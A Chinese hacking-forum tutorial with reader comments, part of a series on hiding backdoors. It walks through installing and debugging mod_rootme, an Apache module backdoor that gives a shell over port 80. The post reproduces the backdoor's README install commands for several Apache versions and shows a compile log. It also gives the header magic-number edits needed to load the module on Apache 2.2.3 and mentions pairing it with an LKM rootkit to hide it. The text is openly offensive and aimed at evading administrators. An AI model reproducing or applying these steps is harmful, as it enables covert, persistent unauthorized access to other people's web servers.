那些年系列 0x02---基于端口复用的apache后门的调试与使用
【*】作者:小飞
【*】QQ 5119187
此为系列教材,分为三个部分
0x01---后门隐藏技术的攻与防
0x02---基于端口复用的apache模块后门 mod_rootme的调试与使用
0x03---LKM rootkit的编译与使用
-----------------------------------------------
0x02---基于端口复用的apache模块后门 mod_rootme的调试与使用
这是一个apache的模块化后门,mod_rootme
以pipe的方式获得shell,支持tty
确定是有个so文件 进程 不能隐藏
不过咱们有LKM rootkit
首先我们来看看后门作者的README
反正每个软件的readme我都是好好读的!
-=[ Target: Apache 1.3.x (Debian) ]=-
# make <system>
# cp mod_rootme.so /usr/lib/apache/1.3/
# vi /etc/apache/httpd.conf (or modules.conf)
[...]
LoadModule rootme_module /usr/lib/apache/1.3/mod_rootme.so
# apachectl restart
-=[ Target: Apache 1.3.x (local ) ]=-
# make <system>
# cp mod_rootme.so /usr/local/apache/libexec/
# vi /usr/local/apache/conf/httpd.conf
[...]
LoadModule rootme_module libexec/mod_rootme.so
[...]
AddModule mod_rootme.c
# /usr/local/apache/bin/apachectl restart
-=[ Target: Apache 2.0.x (Debian) ]=-
# make <system>
# cp mod_rootme2.so /usr/lib/apache2/modules/
# cat > /etc/apache2/mods-enabled/rootme2.load
LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme2.so
^D
# apache2ctl stop; apache2ctl start
-=[ Target: Apache 2.0.x (local ) ]=-
# make <system>
# cp mod_rootme2.so /usr/local/apache2/modules/
# vi /usr/local/apache2/conf/httpd.conf
[...]
LoadModule rootme2_module modules/mod_rootme2.so
# PATH=/usr/local/apache2/bin:$PATH; export PATH
# apachectl stop; apachectl start
-=[ Target: Apache 2.2.x (Debian) ]=-
# make <system>
# cp mod_rootme22.so /usr/lib/apache2/modules/
# cat > /etc/apache2/mods-enabled/rootme22.load
LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme22.so
^D
# apache2ctl stop; apache2ctl start
-=[ Target: Apache 2.2.x (local ) ]=-
# make <system>
# cp mod_rootme22.so /usr/local/apache2/modules/
# vi /usr/local/apache2/conf/httpd.conf
[...]
LoadModule rootme2_module modules/mod_rootme22.so
# PATH=/usr/local/apache2/bin:$PATH; export PATH
# apachectl stop; apachectl start
看看httpd的目录
root@maf!x:/var/opt$ find / -name httpd.conf
/data/httpd.conf
/etc/httpd/conf/httpd.conf
恩既然是2.2.3的
就按照上面的来吧
root@maf!x:/tmp$ ls
2.6.18-164 red yoco_bc
mod_rootme-0.4.tar.gz suterusu.tar.gz yoco_bc.c
nc uscreens
root@maf!x:/tmp$ tar zxf mod_rootme-0.4.tar.gz
root@maf!x:/tmp$ cd mod_rootme-0.4
root@maf!x:/tmp/mod_rootme-0.4$ ls
Makefile client.exe httpd22.h mod_rootme22.c
Makefile32 httpd13.h mod_rootme.c mrm_client.c
README.txt httpd20.h mod_rootme2.c mrm_server.h
root@maf!x:/tmp/mod_rootme-0.4$ make linux
gcc -s -fPIC -shared mod_rootme.c -o mod_rootme.so -lutil -DLINUX
gcc -s -fPIC -shared mod_rootme2.c -o mod_rootme2.so -lutil -DLINUX
gcc -s -fPIC -shared mod_rootme22.c -o mod_rootme22.so -lutil -DLINUX
gcc -s mrm_client.c -o client
root@maf!x:/etc/httpd/conf$ cp httpd.conf httpd.conf.bak
root@maf!x:/etc/httpd/conf$ vi httpd.conf
添加LoadModule rootme22_module modules/mod_rootme22.so
然后保存 重启httpd服务
谁知道,报错了- -
root@maf!x:/tmp/mod_rootme-0.4$ service httpd restart
Í£Ö¹ httpd£º [È·¶¨]
Æô¶¯ httpd£ºhttpd: Syntax error on line 200 of /etc/httpd/conf/httpd.conf: API module structure `rootme22_module' in file /etc/httpd/modules/mod_rootme22.so is garbled - perhaps this is not an Apache module DSO?
于是到处找文章
发现某群黑阔博客上面也有一篇介绍这个软件的文章
看半天没看懂。。。(是我太笨吧)
不过下面他引用的文档我看了下
终于懂了 文章如下
http://www.nowamagic.net/librarys/veda/detail/1293
就是magic字段错了
于是我们在找到mod22的那个配置文件
http22.h
看下里面的声明
#define MODULE_MAGIC_NUMBER_MAJOR 20020903
#define MODULE_MAGIC_NUMBER_MINOR 7
#define MODULE_MAGIC_COOKIE 0x41503230UL
#define MODULE_MAGIC_COOKIE 0x41503232UL
看到后激动啊
速度改掉httpd22.h
然后重新make cp
再重启服务
service httpd restart
你妹。。还是报错
不过报错内容不一样了
ok这次我看懂了
又是改参数
改完了应该是这样的
#define MODULE_MAGIC_NUMBER_MAJOR 20051115
#define MODULE_MAGIC_NUMBER_MINOR 7
#define MODULE_MAGIC_COOKIE 0x41503232UL
终于没报错了!!!
然后 用另一台服务器
利用里面的client连接
ok成功连上
通信都在80端口
管理你无力了吧
文章有关附件
mod_rootme【原版】
-------------------------------------------------------------------------
文章难免会有错误,希望给位积极指出,进行讨论
同时 刚刚接触linux内核的我还有几个问题有待解决
希望有时间的大牛能参与文章的编写和完善
帮解决下有关lkm rootkit几个问题面的声明
---------------------本人上学去了 最后一篇文章可能晚点
评论31次
额,lin下面可以如此操作?
为什么替换正常的so,然后用正常so的代码里面插入后门代码然后重新编译之。。
嗯,是两个意思。可能LZ一时没理解清楚
很好很强大
谢谢楼主分享
端口复用三部曲
OK 果断测试之
学xi了....
你这个是apache的模块 不是端口复。权限继承于apache。别误导群众了
要root
对权限有要求吗